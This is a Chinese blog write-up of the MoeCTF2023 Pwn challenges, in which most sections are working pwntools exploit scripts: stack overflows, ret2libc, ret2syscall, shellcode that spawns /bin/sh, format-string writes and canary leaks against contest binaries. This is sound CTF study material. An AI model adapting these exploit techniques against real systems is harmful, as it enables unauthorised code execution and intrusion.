MoeCTF2023 wp--pwn篇

五、Pwn

1.Pwn 入门指北

CHALLENGE: Pwn 入门指北

DESCRIPTION: 建议:萌新朋友不要看完指北交上flag就扔掉!!

Tips:本指北附件在“通知栏”内的“比赛客服群”中,请加群了解更多信息

 

这个题没什么好说的,去附件找flag就行。

2.test_nc

CHALLENGE: test_nc

DESCRIPTION: 你知道nc是什么吗

 

这题主要考察nc的使用和隐藏文件的查看方式。

nc连接之后,没有发现flag。

 

打开gift发现提示

 你知道隐藏文件么?那我们就看看隐藏文件。

 发现flag文件。打开即可拿到flag

 严格来说,这个题不算pwn。毕竟也算是入门之一吧。

 

3.baby_caculator

CHALLENGE: baby_calculator

DESCRIPTION: 这里有一台计算器,luo希望你可以帮他检查一下OvO

但是手动检查看上去会很困难,希望pwntools”会帮到你

 

题目提示,计算器,让我们检查一下。进入题目看看。

 

 在下英语不好,只能翻译了。

 

 

以上就是,要让我们把第一个和第二个相加,然后看他给出的结果对不对,然后输入对or错的对应结果。共有100次。

上脚本。

#!/usr/bin/env python
# coding=utf-8
from pwn import *

p = remote('10.52.13.156', 56457)

for i in range(100):
	p.recvuntil("first:")
	first = p.recvline()[:-1]
	p.recvuntil("second:")
	second = p.recvline()[:-1]
	p.recvuntil("=")
	jisuan = p.recvline()[:-1]

	jiafa = int(first)+int(second)

	print first+" "+second+" "+jisuan+" "+str(jiafa)
	if str(jiafa) == str(jisuan):
		p.sendline("BlackBird")
	else:
		p.sendline("WingS")

p.interactive()

 这个题严格来说也不算pwn。主要考点就是pwntools的使用及py脚本的书写。谁让我们打pwn要用pwntools呢?

4.Fd

CHALLENGE: fd

DESCRIPTION: 你知道什么是fd(file descriptor)

 

题目提示,fd。那就先看看fd是啥把。

fdFile descriptor 的缩写,中文名叫做:文件描述符文件描述符是一个非负整数,本质上是一个索引值(这句话非常重要)。

当打开一个文件时,内核向进程返回一个文件描述符( open 系统调用得到 ),后续 readwrite 这个文件时,则只需要用这个文件描述符来标识该文件,将其作为参数传入 readwrite

 

在 POSIX 语义中,0,1,2 这三个 fd 值已经被赋予特殊含义,分别是标准输入( STDIN_FILENO ),标准输出( STDOUT_FILENO ),标准错误( STDERR_FILENO )。

 

文件描述符是有一个范围的:0 ~ OPEN_MAX-1 ,最早期的 UNIX 系统中范围很小,现在的主流系统单就这个值来说,变化范围是几乎不受限制的,只受到系统硬件配置和系统管理员配置的约束。

 

以上四句话来源于https://zhuanlan.zhihu.com/p/364617329。。。有兴趣的朋友可以全部看看。

现在我们大概知道了fd是啥。有什么作用。并且知道了取值范围,且向上增长。那么进入题目看看。

 那么这里我们计算一下new_fd是多少。

print((4 * 3) | 0x29A)    #结果670

为什么这里用3呢?因为前面提到的0、1、2都被占用,所有我们一般从3开始。

那么试试对不对呢?

 okk。是对的。。

当然,不清楚的情况下,也可以选择爆破。以下是爆破脚本。

 

#!/usr/bin/env python
# coding=utf-8
from pwn import *

for i in range(3,9999):
    p = remote('10.52.13.156', 63171)
    # p = process('./fd')
    p.sendlineafter("fd:",str(i))
    p.recvline()
    flag = p.recvline()
    # print(flag+" " + str(len(flag))+"  "+str(i))    #关闭输出可以提高运行速度。
    if flag.find("moectf")> -1:
        print flag
        break
    p.close()

    #670

 

5.int_overflow

CHALLENGE: int_overflow

DESCRIPTION: 你知道整形溢出吗

 

看提示就知道,整数溢出。看看题目。

 

当我们输入的东西等于 -114514,就会进入backdoor方法。

 进入该方法就会打印flag。那我们直接输入看看。

 嘻嘻,果然是不行滴,这是为什么呢?进入输入函数看看。

 strchr函数功能为在一个串中查找给定字符的第一个匹配之处........45是负号。当我们输入负号就会变成0。。所以还是老实的做溢出。

这里我利用了ida的h功能。(即按h键会16进制和10进制转换)

 1234再来一次。(再按一次h)。。

 这个时候是不是发现变成了一个整数了?那再输入进去看看。。

 okk。

 

6.ret2text_32

CHALLENGE: ret2text_32

DESCRIPTION: 一道最基础的32位栈溢出题OvO

 

32位栈溢出,看看题目。

 

 nbytes我们可以无限输入。在read这里就肯定会存在栈溢出。

 很明显的后门函数。

 但是他虚晃一枪。只有system,那我们就找找/bin/sh(shift+f12)

 双击以下。看看地址是多少。

 ok。溢出有了。system有了。binsh有了。

现在就是构造payload即可,exp如下:

#!/usr/bin/env python
# coding=utf-8
from pwn import *

p = remote('10.52.13.156', 60401)
# p = process('./text32')

p.sendline("300")
payload = "a" * (0x58 + 4) + p32(0x8049070) + p32(0) + p32(0x804C02C)
# gdb.attach(p)
p.sendline(payload)

p.interactive()

ps:萌新问题,system怎么找?

 右边视图可以按空格切换。。。注意是需要点击的是_system。不是system

最后在ps一个。32位栈的传参方式,方法+空+参数,故exp哪里是system+空+binsh。。。这里的空可以是p32(0).也可以是p32(9)

 

7.ret2text_64

CHALLENGE: ret2text_64

DESCRIPTION: 64位和32位到底有什么不同呢?

 

话不多说,直接看题目吧。

 

 还是原来的配方,还是原来的味道。直接找system和binsh。

 

 然后就是exp:

#!/usr/bin/env python
# coding=utf-8
from pwn import *

p = remote('10.52.13.156', 53621)
# p = process('./text64')
pop_rdi = 0x00000000004011be
p.sendlineafter("age?", "300")
payload = b"a" * (0x50 + 8) + p64(pop_rdi) + p64(0x404050) + p64(0x4012B7)
# gdb.attach(p)
p.sendline(payload)

p.interactive()

ps:64位传参需要寄存器。这里pop_rdi是第一个参数的寄存器。rsi是第二个。具体自行百度了解吧。。。。。这里的pop_rdi实际上是pop_rdi_ret。这是什么玩意呢?就是pop(压栈,将参数放到栈里面)+参数+ret(返回地址)。

payload意思就是。先溢出到rbp,然后把rbp值覆盖成pop_rdi地址,然后放入参数(binsh),在跳转到system地址。。。不太明白的可以gdb看看。

pop_rdi怎么来的?ROPgadget --binary ./pwn --only "pop|ret"      

 我们也可以在ida看看。

 其实也可以发现,出题人很细心的给我们了。

 

8.shellcode_level0

CHALLENGE: shellcode_level0

DESCRIPTION: 什么是shellcodepwntoolsshellcraft工具怎么使用?怎么脚本一把梭?

 

提示,pwntoolsshellcraft。一把梭。哈哈。

看题目,发现不能反汇编。那就看汇编吧。

 

 第一个,调用了gets函数(gets难道不会存在栈溢出?)

第二个,调用rdx。。也就是说。如果rdx是一段可执行的代码的话,我们是不是就可以,enmmm,执行代码了。。。。

从call rdx往上看,看看rdx我们可控不(既然shellcode,那么肯定可控的咯),rbp+var_78的值会放到rdx。rax的值会放到rbp+var_78。rbp+var_70的值会放到rax。。。也就是说。最终rdx的值等于rbp+var_70.

那么rbp+var_70的值怎么来的呢?再往上看看。。也就是gets这里输入的。。。也就是我们输入的(也就是可控,对吧。。)。

相当于。我们输入的东西,他回去调用。所以就可以直接写入shellcode。pwntools一把梭咯。以下为exp:

#!/usr/bin/env python
# coding=utf-8
from pwn import *

context.arch = "amd64"  #注意这个amd64是不能少的,因为程序是64位,pwntools默认是32位的。。如果是32位可丢掉。必须丢掉
p = remote('10.52.13.156', 61138)
# p = process('./shellcode_level0')

payload = asm(shellcraft.sh())
# gdb.attach(p)
p.sendline(payload)

p.interactive()

 

 

9.shellcode_level1

CHALLENGE: shellcode_level1

DESCRIPTION: mmapmprotect函数是干嘛用的?我的shellcode怎么没有执行权限?

 

分析题目吧。

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *v3; // rax
  __int64 v4; // rbx
  __int64 v5; // rbx
  __int64 v6; // rbx
  __int64 v7; // rbx
  __int64 v8; // rbx
  __int64 v9; // rbx
  _QWORD *v10; // rax
  __int64 v11; // rbx
  __int64 v12; // rbx
  __int64 v13; // rbx
  __int64 v14; // rbx
  __int64 v15; // rbx
  __int64 v16; // rbx
  _QWORD *v17; // rax
  __int64 v18; // rbx
  __int64 v19; // rbx
  __int64 v20; // rbx
  __int64 v21; // rbx
  __int64 v22; // rbx
  __int64 v23; // rbx
  int choise; // [rsp+Ch] [rbp-114h] BYREF
  void (*p)(...); // [rsp+10h] [rbp-110h]
  char *paper3; // [rsp+18h] [rbp-108h]
  void *paper4; // [rsp+20h] [rbp-100h]
  void *paper5; // [rsp+28h] [rbp-F8h]
  char shellcode[100]; // [rsp+30h] [rbp-F0h] BYREF
  char paper2[100]; // [rsp+A0h] [rbp-80h] BYREF
  unsigned __int64 v32; // [rsp+108h] [rbp-18h]

  v32 = __readfsqword(0x28u);
  memset(shellcode, 0, sizeof(shellcode));
  memset(paper2, 0, sizeof(paper2));
  paper3 = (char *)malloc(0x64uLL);
  paper4 = mmap(0LL, 0x64uLL, 3, 34, -1, 0LL);
  paper5 = mmap(0LL, 0x64uLL, 7, 34, -1, 0LL);
  choise = 0;
  puts("Which paper will you choose?");
  __isoc99_scanf("%d", &choise);
  puts("what do you want to write?");
  __isoc99_scanf("%s", shellcode);
  switch ( choise )
  {
    case 1:
      *(_QWORD *)paper1 = *(_QWORD *)shellcode;
      *(_QWORD *)&paper1[8] = *(_QWORD *)&shellcode[8];
      *(_QWORD *)&paper1[16] = *(_QWORD *)&shellcode[16];
      *(_QWORD *)&paper1[24] = *(_QWORD *)&shellcode[24];
      *(_QWORD *)&paper1[32] = *(_QWORD *)&shellcode[32];
      *(_QWORD *)&paper1[40] = *(_QWORD *)&shellcode[40];
      *(_QWORD *)&paper1[48] = *(_QWORD *)&shellcode[48];
      *(_QWORD *)&paper1[56] = *(_QWORD *)&shellcode[56];
      *(_QWORD *)&paper1[64] = *(_QWORD *)&shellcode[64];
      *(_QWORD *)&paper1[72] = *(_QWORD *)&shellcode[72];
      *(_QWORD *)&paper1[80] = *(_QWORD *)&shellcode[80];
      *(_QWORD *)&paper1[88] = *(_QWORD *)&shellcode[88];
      *(_DWORD *)&paper1[96] = *(_DWORD *)&shellcode[96];
      p = (void (*)(...))paper1;
      break;
    case 2:
      *(_QWORD *)paper2 = *(_QWORD *)shellcode;
      *(_QWORD *)&paper2[8] = *(_QWORD *)&shellcode[8];
      *(_QWORD *)&paper2[16] = *(_QWORD *)&shellcode[16];
      *(_QWORD *)&paper2[24] = *(_QWORD *)&shellcode[24];
      *(_QWORD *)&paper2[32] = *(_QWORD *)&shellcode[32];
      *(_QWORD *)&paper2[40] = *(_QWORD *)&shellcode[40];
      *(_QWORD *)&paper2[48] = *(_QWORD *)&shellcode[48];
      *(_QWORD *)&paper2[56] = *(_QWORD *)&shellcode[56];
      *(_QWORD *)&paper2[64] = *(_QWORD *)&shellcode[64];
      *(_QWORD *)&paper2[72] = *(_QWORD *)&shellcode[72];
      *(_QWORD *)&paper2[80] = *(_QWORD *)&shellcode[80];
      *(_QWORD *)&paper2[88] = *(_QWORD *)&shellcode[88];
      *(_DWORD *)&paper2[96] = *(_DWORD *)&shellcode[96];
      p = (void (*)(...))paper2;
      break;
    case 3:
      v3 = paper3;
      v4 = *(_QWORD *)&shellcode[8];
      *(_QWORD *)paper3 = *(_QWORD *)shellcode;
      *((_QWORD *)v3 + 1) = v4;
      v5 = *(_QWORD *)&shellcode[24];
      *((_QWORD *)v3 + 2) = *(_QWORD *)&shellcode[16];
      *((_QWORD *)v3 + 3) = v5;
      v6 = *(_QWORD *)&shellcode[40];
      *((_QWORD *)v3 + 4) = *(_QWORD *)&shellcode[32];
      *((_QWORD *)v3 + 5) = v6;
      v7 = *(_QWORD *)&shellcode[56];
      *((_QWORD *)v3 + 6) = *(_QWORD *)&shellcode[48];
      *((_QWORD *)v3 + 7) = v7;
      v8 = *(_QWORD *)&shellcode[72];
      *((_QWORD *)v3 + 8) = *(_QWORD *)&shellcode[64];
      *((_QWORD *)v3 + 9) = v8;
      v9 = *(_QWORD *)&shellcode[88];
      *((_QWORD *)v3 + 10) = *(_QWORD *)&shellcode[80];
      *((_QWORD *)v3 + 11) = v9;
      *((_DWORD *)v3 + 24) = *(_DWORD *)&shellcode[96];
      p = (void (*)(...))paper3;
      break;
    case 4:
      v10 = paper4;
      v11 = *(_QWORD *)&shellcode[8];
      *(_QWORD *)paper4 = *(_QWORD *)shellcode;
      v10[1] = v11;
      v12 = *(_QWORD *)&shellcode[24];
      v10[2] = *(_QWORD *)&shellcode[16];
      v10[3] = v12;
      v13 = *(_QWORD *)&shellcode[40];
      v10[4] = *(_QWORD *)&shellcode[32];
      v10[5] = v13;
      v14 = *(_QWORD *)&shellcode[56];
      v10[6] = *(_QWORD *)&shellcode[48];
      v10[7] = v14;
      v15 = *(_QWORD *)&shellcode[72];
      v10[8] = *(_QWORD *)&shellcode[64];
      v10[9] = v15;
      v16 = *(_QWORD *)&shellcode[88];
      v10[10] = *(_QWORD *)&shellcode[80];
      v10[11] = v16;
      *((_DWORD *)v10 + 24) = *(_DWORD *)&shellcode[96];
      p = (void (*)(...))paper4;
      mprotect(paper4, 0x1000uLL, 7);
      break;
    case 5:
      v17 = paper5;
      v18 = *(_QWORD *)&shellcode[8];
      *(_QWORD *)paper5 = *(_QWORD *)shellcode;
      v17[1] = v18;
      v19 = *(_QWORD *)&shellcode[24];
      v17[2] = *(_QWORD *)&shellcode[16];
      v17[3] = v19;
      v20 = *(_QWORD *)&shellcode[40];
      v17[4] = *(_QWORD *)&shellcode[32];
      v17[5] = v20;
      v21 = *(_QWORD *)&shellcode[56];
      v17[6] = *(_QWORD *)&shellcode[48];
      v17[7] = v21;
      v22 = *(_QWORD *)&shellcode[72];
      v17[8] = *(_QWORD *)&shellcode[64];
      v17[9] = v22;
      v23 = *(_QWORD *)&shellcode[88];
      v17[10] = *(_QWORD *)&shellcode[80];
      v17[11] = v23;
      *((_DWORD *)v17 + 24) = *(_DWORD *)&shellcode[96];
      p = (void (*)(...))paper5;
      mprotect(paper5, 0x1000uLL, 0);
      break;
  }
  p();
  return 0;
}

 

代码比较多,直接上exp吧

#!/usr/bin/env python
# coding=utf-8
from pwn import *

context.arch = "amd64"
# p = remote('10.52.13.156', 61911)
p = process('./shellcode_level1')
# gdb.attach(p)
p.sendline("4")
payload = asm(shellcraft.sh())

p.sendline(payload)

p.interactive()

我记得当时是换着1234试出来的。

 

 

10.uninitialized_key

CHALLENGE: uninitialized_key

DESCRIPTION: 你知道什么是栈吗?栈是如何存数据的捏

 

上伪代码。

 

 

 

 

 在game内,存在一个溢出。其实并不重要。我们通过,gdb可以发现。在game处输入的东西(age),在get_key这里(key)是同一个。当我们输入key的时候,就会覆盖age的值。

所以。我们在game里输入114514,get_key这里就不输入,他就会引用age。

exp如下:

#!/usr/bin/env python
# coding=utf-8
from pwn import *


# context.log_level = "debug"
context.arch = "amd64"
# p = remote('10.52.13.156', 63033)
p = process('./uninitialized_key')

p.sendline("114514")
# gdb.attach(p)
p.sendline("\x00")#或者就直接留空。p.sendline("")

p.interactive()

 

 

11.format_level0

CHALLENGE: format_level0

DESCRIPTION: flag就在栈中,你该如何获取呢。这个printf函数怎么有点奇怪

 

题目名字,格式化字符串。看看题目。

 

 首先会把flag放到栈里面。然后存在格式化字符漏洞。

所以只需要利用格式化字符串的任意地址读即可。exp如下:

#!/usr/bin/env python
# coding=utf-8
from pwn import *

flag = ""
for i in range(7,17):
    p = remote('10.52.13.156', 63033)
    # p = process('./format_level0')

    # gdb.attach(p)
    p.sendline(f"%{i}$p")
    p.recvuntil("0x")

    byte_str = binascii.unhexlify(p.recvline()[:-1])
    str_result = byte_str.decode("utf-8")
    flag+=str_result[::-1]

    p.close()

print(flag)

至于为什么是7-17.。这里是可以计算的。。当然我还是爆破出来的。。可以自己试试计算和爆破。

 

 

12.PIE_enabled

CHALLENGE: PIE_enabled

DESCRIPTION: 这个题目名字好像有点眼熟,好像见过,但是是什么意思呢oO

 

题目名字,pie(地址随机化)。。看看题目。

 

 首先会泄露一个地址,vuln的地址。。然后存在一个栈溢出

 system

 binsh

这里会发现,我们的地址变得比较陌生了,之前得都是40x(64位)开头或者80x(32位)开头的。这就是pie。我们这里得到的只有偏移地址。系统会生成基址。。。

那么流程就是,先根据他泄露的vlun的地址,减去ida得到的vlun的偏移地址,就能够得到生成的基址。

拿到基址后在加上system和binsh的偏移就能得到真实的system和binsh的地址。

exp:

#!/usr/bin/env python
# coding=utf-8
from pwn import *

context.arch = "amd64"
p = remote('10.52.13.156', 53745)
# p = process('./pie')

p.recvuntil("0x")
leak = int(p.recvline()[:-1], 16)
base_add = leak - 0x1245
system_add = base_add + 0x10A0
bash = base_add + 0x4010
pop_rdi = base_add + 0x0000000000001323
ret = base_add + 0x128D
success(hex(base_add))

# gdb.attach(p)
paylaod = b'a' * 0x58 + p64(pop_rdi) + p64(bash) + p64(ret) + p64(system_add)
p.sendline(paylaod)

p.interactive()

 

 

13.ret2libc

CHALLENGE: ret2libc

DESCRIPTION: 如果找不到想要的东西,就去问问神奇的libc~

 

都不用分析题目了。无system无binsh。

流程,利用延迟绑定机制,泄露一个地址。然后使用libc的对应偏移计算得到libc的基质。然后就能得到system和binsh的地址。

exp:

 

#!/usr/bin/env python
# coding=utf-8
from pwn import *

context.arch = "amd64"
p = remote('10.52.13.156', 54744)
# p = process('./ret2libc')
elf = ELF("./ret2libc")
libc = ELF("./libc6_2.35-0ubuntu3_amd64.so")

pop_rdi = 0x000000000040117e
main = 0x4011E8

p1 = b"a" * (0x50 + 0x8)
p1 += p64(pop_rdi) + p64(elf.got['puts'])
p1 += p64(elf.plt['puts'])
p1 += p64(main)
p.sendline(p1)

leak = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
libc_base = leak - libc.sym['puts']
success(hex(libc_base))

p2 = b"a" * (0x50 + 0x8)
one = [0x50a37, 0xebcf1, 0xebcf5, 0xebcf8]
# p2 += p64(libc_base + one[3])
p2 += p64(pop_rdi) + p64(libc_base + next(libc.search(b"/bin/sh"))) + p64(0x40122A)
p2 += p64(libc_base + libc.sym['system'])
p.sendline(p2)
p.interactive()

 

记得这个libc6_2.35-0ubuntu3_amd64.so好像是libcsearch找的。习惯将libc丢本地打了。也可以就是libcsearch直接打。

 

14.ret2syscall

CHALLENGE: ret2syscall

DESCRIPTION: 什么是系统调用?如何使用系统调用打开shell

 

这个题没什么好分析的了。就是syscall一把梭即可。exp:

 

#!/usr/bin/env python
# coding=utf-8
from pwn import *

context.arch = "amd64"
p = remote('10.52.13.156', 53856)
# p = process('./ret2syscall')
elf = ELF("./ret2syscall")
libc = ELF("./libc6_2.35-0ubuntu3_amd64.so")

pop_rax = 0x000000000040117e
pop_rdi = 0x0000000000401180
pop_rsi_rdx = 0x0000000000401182
bss = 0x0000000000404060
ret = 0x00000000004011C1
syscall_addr = 0x401185
binsh_addr = 0x0000000000404040

payload = b"a" * 0x48
payload += p64(pop_rdi) + p64(binsh_addr)  # stackoverflow & rdi=binsh_addr
payload += p64(pop_rsi_rdx) + p64(0) + p64(0)  # rsi=0 rdx=0
payload += p64(pop_rax) + p64(59)  # rax=59 
payload += p64(syscall_addr)  # execve("/bin/sh",0,0)
p.sendline(payload)
p.interactive()

 

 

 

15.Shellcode_level2

CHALLENGE: shellcode_level2

DESCRIPTION: 简单的对shellcode的处理

 

这个题也是,注意就是

 

 所以将第一个字节改为0即可。

 

 

#!/usr/bin/env python
# coding=utf-8
from pwn import *

context.arch = "amd64"
p = remote('10.52.13.156', 52697)
# p = process('./shellcode_level2')
elf = ELF("./shellcode_level2")
libc = ELF("./libc6_2.35-0ubuntu3_amd64.so")

payload = b'\x00'+asm(shellcraft.sh()) 
# gdb.attach(p)
p.sendline(payload)
p.interactive()

 

 

 

16.Uninitialized_key_plus

CHALLENGE: uninitialized_key_plus

DESCRIPTION: 栈是如何存数据的捏,要做这道题你或许需要借助pwntools

 

还有好多啊。不想分析了。写关键吧。

 

#!/usr/bin/env python
# coding=utf-8
from pwn import *

# context.log_level = "debug"
context.arch = "amd64"
p = remote('10.52.13.156', 52855)
# p = process('./uninitialized_key_plus')

payload = b"a"*20 + p32(0x1BF52)
p.sendline(payload)
p.sendline(b"\x00")

p.interactive()

 

 

 

17.format_Tevel1

CHALLENGE: format_level1

DESCRIPTION: 打败FLAG龙就可以得到flag

 

通过格式化字符串漏洞任意写将dragon.HP覆写为0即可

 

#!/usr/bin/env python
# coding=utf-8
from pwn import *
from LibcSearcher import *  
from ctypes import *

# context.log_level = "debug"
# context.arch = "amd64"
p = remote('10.52.13.156',53014)
# p = process('./format_level1')

p.sendline("3")
payload = b"%8$n" + p64(0x804c00c)
p.sendline(payload)
# gdb.attach(p)
p.sendline(b"1")

p.interactive()

 

 

 

18.little_canary

CHALLENGE: little_canary

DESCRIPTION: "我是一只可爱的金丝雀“

 

 

#!/usr/bin/env python
# coding=utf-8
from pwn import *
from LibcSearcher import *  
from ctypes import *

# context.log_level = "debug"
# context.arch = "amd64"
p = remote('10.52.13.156', 59274)
# p = process('./little_canary')
elf = ELF("./little_canary")
# libc = ELF("./libc-2.32-1.fc33.x86_64.so")

main = 0x4012BA
pop_rdi = 0x0000000000401343

p.sendlineafter(b"name?\n",b"a"*72)
p.recvuntil(b"\n")
canary = u64(b"\x00"+p.recv(7))
# gdb.attach(p)
success(hex(canary))
print(hex(elf.got['puts']))
payload = b'a'*72+p64(canary)+p64(0)
payload += p64(pop_rdi) + p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(main)
p.sendline(payload)

leak = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
leak = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
libc = LibcSearcher('puts',leak)  
libc_base = leak - libc.dump('puts')
success(hex(libc_base))

p.sendline(b"payload")

payload = b'a'*72+p64(canary)+p64(0)
payload += p64(pop_rdi) + p64(libc_base + libc.dump("str_bin_sh"))+p64(0x4012DC)
payload += p64(libc_base + libc.dump('system'))
p.sendline(payload)

p.interactive()

 

 

 

19.rePWNse

CHALLENGE: rePWNse

DESCRIPTION: pwner也是要锻炼逆向能力的。

 

这个题就是计算出来的。。。根据那几个if可以得到几个公式,有几个值是定死的,然后推算其他值就行

 

#!/usr/bin/env python
# coding=utf-8
from pwn import *
from LibcSearcher import *  
from ctypes import *

# context.log_level = "debug"
context.arch = "amd64"
p = remote('10.52.13.156', 60162)
# p = process('./rePWNse')


pop_rdi = 0x000000000040168e

p.sendline("1")            #7
p.sendline("9")        #8
p.sendline("1")            #9
p.sendline("9")        #10
p.sendline("8")            #11
p.sendline("1")            #12
p.sendline("0")            #13

p.recvuntil("address is:")
leak = int(p.recvline()[2:-1],16)
# gdb.attach(p)
payload = b'a'*0x48+p64(pop_rdi)+p64(leak)+p64(0x401296)
p.sendline(payload)

p.interactive()

 

 

 

20.shellcode_Tevel3

CHALLENGE: shellcode_level3
DESCRIPTION: 5个字节你能秒杀我?

 

 

只让注入5个字节,但是程序有getshell的程序,所以直接用jmp跳转就行

 

 

#!/usr/bin/env python
# coding=utf-8
from pwn import *
from LibcSearcher import *  
from ctypes import *

# context.log_level = "debug"
context.arch = "amd64"
p = remote('10.52.13.156', 53274)
# p = process('./shellcode_level2')
elf = ELF("./shellcode_level3")
libc = ELF("./libc6_2.35-0ubuntu3_amd64.so")


p.sendline(b"\xE9\x48\xD1\xFF\xFF")
p.interactive()

 

 

 

 

21.changeable_shelTcode

CHALLENGE: changeable_shellcode

DESCRIPTION: 假如我不允许你直接输入syscall的机器码,那么你该怎么办呢

 

shellcode,但是在filter过滤了'\x0f\x05'(即syscall),那么就在shellcode里动态的生成最后的syscall就行。后面的一堆代码都是复制shellcode到mmap内存中去执行

 

#!/usr/bin/env python
# coding=utf-8
from pwn import *
from LibcSearcher import *  
from ctypes import *

# context.log_level = "debug"
context.arch = "amd64"
p = remote('10.52.13.156',54958)
# p = process('./shellcode')

# 第一条语句是为了在\x0f后面添加\x05形成syscall
shellcode = '''
mov byte ptr[rax+33], 5
push 0
mov rax, 0x68732f2f6e69622f
push rax
push rsp
pop rdi
xor rsi, rsi
xor rdx, rdx
mov rax, 59
'''
p.sendline(asm(shellcode)+b'\x0f')

p.interactive()

 

 

 

22.format_Level2

CHALLENGE: format_level2

DESCRIPTION: 这次FLAG龙不会再掉落flag了,需要你自己继续探索哟

 

通过格式化字符串来修改函数返回地址为success函数来获取shell

 

#!/usr/bin/env python
# coding=utf-8
from pwn import *
from LibcSearcher import *  
from ctypes import *

# context.log_level = "debug"
# context.arch = "amd64"
p = remote('10.52.13.156',54250)
# p = process('./format_level2')

p.sendlineafter(":",b"3")
p.sendlineafter(":",b"%p")

p.recvuntil("0x")
stack = int(p.recvline()[:-1], 16)
func_ret = stack + 64
p.sendline(b"3")
payload = b"%23p%10$hhn".ljust(12, b'a') + p32(func_ret)
p.send(payload)
p.sendlineafter(":",b"3")
payload = b"%147p%10$hhn".ljust(12, b'a') + p32(func_ret+1)
p.sendlineafter(":",payload)
p.sendlineafter(":",b"4")

p.interactive()

 

 

 

23.Feedback

CHALLENGE: feedback

DESCRIPTION: 快来反馈一下你的比赛情况吧

 

#!/usr/bin/env python
# coding=utf-8
from pwn import *
from LibcSearcher import *  
from ctypes import *

# context.log_level = "debug"
context.arch = "amd64"
p = remote('10.52.13.156', 53493)
# p = process('./feedback')

p.sendlineafter("Which list do you want to write?",b"-8")
payload = p64(0xFBAD1800) + p64(0)*3 + b'\x00'
p.sendlineafter(".\n",payload)

p.recvuntil(b'\x00'*8)
libc_base = u64(p.recv(8)) - 0x1ec980
success(hex(libc_base))
flag = libc_base + 0x1f1700

p.sendlineafter("?",b"-11")
p.sendlineafter(".",b'\x68')
p.sendlineafter("?",b"-11")
p.sendlineafter(".",p64(flag))

p.interactive()

 

 

 

24.format Level3

CHALLENGE: format_level3

DESCRIPTION: 这道题相比上一道只改动了一点点哦

 

#!/usr/bin/env python
# coding=utf-8
from pwn import *
from LibcSearcher import *  
from ctypes import *

# context.log_level = "debug"
# context.arch = "amd64"
p = remote('10.52.13.156',54645)
# p = process('./format_level3')

p.sendlineafter(":",b"3")
p.sendlineafter(":",b"%6$p")
p.recvuntil("0x")
stack = int(p.recvline()[:-1], 16)
func_ret = stack + 4

p.sendlineafter(":",b"3")
payload = "%{}p%6$hhn".format(func_ret & 0xff)
p.sendlineafter(":",payload.encode())
p.sendlineafter(":",b"3")
payload = "%{}p%14$hn".format(0x9317)
p.sendlineafter(":",payload.encode())
p.sendlineafter(":",b"4")
p.interactive()

 

 

写wp太累了。向大佬致敬。特别是爱写wp的大佬

 

posted @ 2023-09-25 15:28  mogic  阅读(1265)  评论(0编辑  收藏  举报